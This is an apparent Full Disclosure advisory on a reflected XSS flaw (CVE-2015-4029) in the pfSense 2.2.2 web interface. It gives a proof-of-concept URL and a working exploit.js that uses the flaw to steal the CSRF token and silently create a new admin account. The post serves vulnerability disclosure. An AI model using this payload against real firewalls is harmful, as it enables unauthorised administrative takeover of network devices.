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Date: Mon, 13 Jul 2015 16:38:50 -0300
From: William Costa <william.costa@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflected XSS Attacks vulnerabilities in PFSense Version 2.2.2
	(CVE-2015-4029)

I. VULNERABILITY
-------------------------
Reflected XSS Attacks vulnerabilities in PFSense Version 2.2.2

II. BACKGROUND
-------------------------
The pfSense project is a free network firewall distribution, based on the
FreeBSD operating system with a custom kernel and including third party
free software packages for additional functionality. Through this package
system pfSense software is able to provide most of the functionality of
common commercial firewalls, and many times more.

III. DESCRIPTION
-------------------------
Has been detected a Reflected XSS vulnerability in PFSense .
The code injection is done through the parameter “zone” in the page
“/services_captiveportal_zones.php?act=del&zone=”

IV. PROOF OF CONCEPT
-------------------------
The application does not validate the parameter “zone” correctly.
http://192.168.217.100/services_captiveportal_zones.php?act=del&zone=aaaa%22%3E%3Cscript%3Ealert%28csrfMagicToken%29%3C/script%3E

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, , that allows the execution of arbitrary HTML/script code
to be executed in the context of the victim user's browser.
VI. SYSTEMS AFFECTED
-------------------------
Tested PFSense 2.2.2

VII. SOLUTION
-------------------------
All data received by the application and that can be modified by the user,
before making any kind of transaction with them must be validated corretely
https://www.pfsense.org/security/advisories/pfSense-SA-15_06.webgui.asc

VIII. EXPLOIT
-------------------------
#cat exploit.js
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');
xss.document.write('<body><form id="CSRF" action="
http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');
xss.document.write('<input name="__csrf_magic" value=""</input>');
xss.document.write('<input name="utype" value="user"> </input>');
xss.document.write('<input name="usernamefld" value="test"> </input>');
xss.document.write('<input name="passwordfld1" value="123456"> </input>');
xss.document.write('<input name="passwordfld2" value="123456"> </input>');
xss.document.write('<input name="groups[]" value="admins"> </input>');
xss.document.write('<input name="save" value="Save"> </input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;
window.frames['xss'].document.CSRF.submit();

Result,

Create new admin user the name test and password 123456

By William Costa

william.costa@...il.com

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